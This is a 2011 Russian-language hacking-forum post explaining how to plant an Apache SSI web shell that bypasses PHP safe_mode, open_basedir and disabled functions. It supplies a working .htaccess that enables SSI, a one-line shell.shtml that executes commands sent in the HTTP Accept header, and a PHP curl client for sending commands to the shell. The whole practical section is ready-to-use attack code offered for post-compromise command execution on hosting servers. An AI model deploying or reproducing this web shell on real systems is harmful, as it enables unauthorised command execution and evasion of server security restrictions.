Prev Предыдущее сообщение   Следующее сообщение Next
Старый 22.07.2011, 10:02   #1
Twost
 
Аватар для Twost
 
Регистрация: 03.07.2010
Сообщений: 172
Репутация: 110
По умолчанию [Заметка] SSI Web shell

1. Введение
В данной заметке я рассмотрю примеры использования SSI, для обхода ограничений php в частности.

2. Теория
SSI (Server Side Includes — включения на стороне сервера) — несложный язык для динамической «сборки» веб-страниц на сервере из отдельных составных частей и выдачи клиенту полученного HTML-документа. Реализован в веб-сервере Apache при помощи модуля mod_include.

3. Основные команды
Цитата:
config — устанавливает формат сообщений об ошибках, дат и размера
set — устанавливает значение переменной
printenv — выводит список переменных окружения
echo — вставляет значение переменной
flastmod — вставляет дату и время изменения файла
fsize — вставляет размер файла
include — вставляет содержимое другого файла
if, elif, else, endif — условные операторы
exec cmd — Запускает внешнюю программу (exec cmd) и вставляет в содержимое страницы вывод.
Подробнее остановлюсь на основных для нас командах: printenv, exec cmd.

3.1 printenv - переменные окружения, они нам в принципе знакомы, но посмотрим еще раз:
Цитата:
DOCUMENT_ROOT (название основной папки для вебстраниц на сервере, обычно ваша папка public_html и путь к ней)
USER_AGENT и HTTP_USER_AGENT (название браузера, которым пользуется посетитель)
REMOTE_ADDR (IP-адрес посетителя)
REMOTE_HOST (адрес посетителя в нормальной форме)
SERVER_ADDR (IP-адрес вашего сайта)
SERVER_NAME и HTTP_HOST (адрес сервера),
DOCUMENT_URI, REQUEST_URI и SCRIPT_NAME (запрошенная вами страница, типа /examples/mysqlexample.shtml.),
DOCUMENT_NAME (имя файла (без каталогов) документа, запрошенного пользователем),
SCRIPT_FILENAME (полный путь к вебстранице на сервере. Например /home/home-webservis/public_html/ и так далее),
SERVER_SOFTWARE (название сервера, например, Apache/1.3.2 (Unix))
SERVER_ADMIN (почтовый адрес владельца сервера, указанный при установке),
DATE_LOCAL (сегодняшние время и дата в вашем часовом поясе(для сервера)),
DATE_GMT (текущее время по Гринвичу),
LAST_MODIFIED (дата последней модификации документа, запрошенного пользователем. То есть во вложенном SSI эта переменная будет содержать имя «главного» документа, а не вложенного).
HTTP_COOKIE (Строка Cookie установленная для текущего домена.).
3.2 exec cmd - запускает внешнюю команду, причем с правами, пользователя от которого запущен apache, т.е. все ограничения php (safe_mode, open_basedir, disable_functions) не имеют никакого воздействия на SSI скрипты.

4. Настройка apache
Приведу цитату из официальной документации:
Цитата:
To permit SSI on your server, you must have the following directive either in your httpd.conf file, or in a .htaccess file:

Options +Includes

This tells Apache that you want to permit files to be parsed for SSI directives. Note that most configurations contain multiple Options directives that can override each other. You will probably need to apply the Options to the specific directory where you want SSI enabled in order to assure that it gets evaluated last.

Not just any file is parsed for SSI directives. You have to tell Apache which files should be parsed. There are two ways to do this. You can tell Apache to parse any file with a particular file extension, such as .shtml, with the following directives:

AddType text/html .shtml
AddOutputFilter INCLUDES .shtml

One disadvantage to this approach is that if you wanted to add SSI directives to an existing page, you would have to change the name of that page, and all links to that page, in order to give it a .shtml extension, so that those directives would be executed.
(с) http://httpd.apache.org/docs/current/howto/ssi.html
Добавить нечего, либо указываете в конфигурационном файле apache, либо в файле .htaccess.

5. Пример из жизни
Настройки php:
Disabled PHP Functions: dl,exec,passthru,proc_open,proc_close,shell_exec,s ystem,symlink,chmod
Safe mode: ON
open_basedir обозначен

Т.е. с такими настройками шибко не разгуляешься - системные функции отключены, сейфмод включен, open_basedir не дает пройти выше и поискать обходные пути, даже если предположить, что можно залить перловый шелл, то отключенный chmod не даст выставить права +x. (это уже полет фантазии, можно считать, что перла вообще нет на сервере и т.п.)

Приступаем к обходу этих ограничений!

Шаг №1:
Заливаем файл в директорию .htaccess
Цитата:
AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes
Шаг №2:
Заливаем в директорию файл shell.shtml всего лишь с одной командой
Цитата:
<!--#exec cmd="$HTTP_ACCEPT" -->
с exec cmd мы уже разобрались раньше, а HTTP_ACCEPT - это переменная из переменных окружения (см. printenv).


Шаг №3:
У себя на компе создаем клиентский php-файл:
PHP код:
<?php

# URL SSI шелла
$url 'http://site.com/shell.shtml';

    function 
send($url,$cmd)
    {
        if(
$curl curl_init())
        {
            
curl_setopt($curl,CURLOPT_URL$url);
            
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
            
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);

            
$headers = array("Accept: ".$cmd);

            
curl_setopt($curl,CURLOPT_HTTPHEADER,$headers);
            
curl_setopt($curl,CURLOPT_URL,$url);
            return 
curl_exec($curl);

        }
        
curl_close($curl);
    }

    print 
'SSI шелл - '.$url.'<br />';
    print 
'<form action="#" method="post">';

    print 
$_POST['cmd'].': <br />';
    print 
'<textarea rows=20 cols=150 wrap="off">'send($url,$_POST['cmd']) .'</textarea><br />';

    print 
'<input name="cmd" type="text" value="id; uname -a; pwd"><br />';

    print 
'<input type="submit" value="Send"><br />';
    print 
'</form>';

?>
В итоге мы получили шелл без всяческий ограничений первоначального php шелла.


Примечания:
1. Для выполнения SSI скриптов не требуется флаг +x на файле.
2. SSI может заработать не везде, в частности из-за директивы AllowOverride в конфигурационном файле apache, которая запрещает назначение новых значений в файле .htaccess, которым уже присвоено значение в конфигурационном файле.

(с) Twost
22.07.2011г.

Последний раз редактировалось Twost; 22.07.2011 в 13:50..
Twost вне форума   Ответить с цитированием
 

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot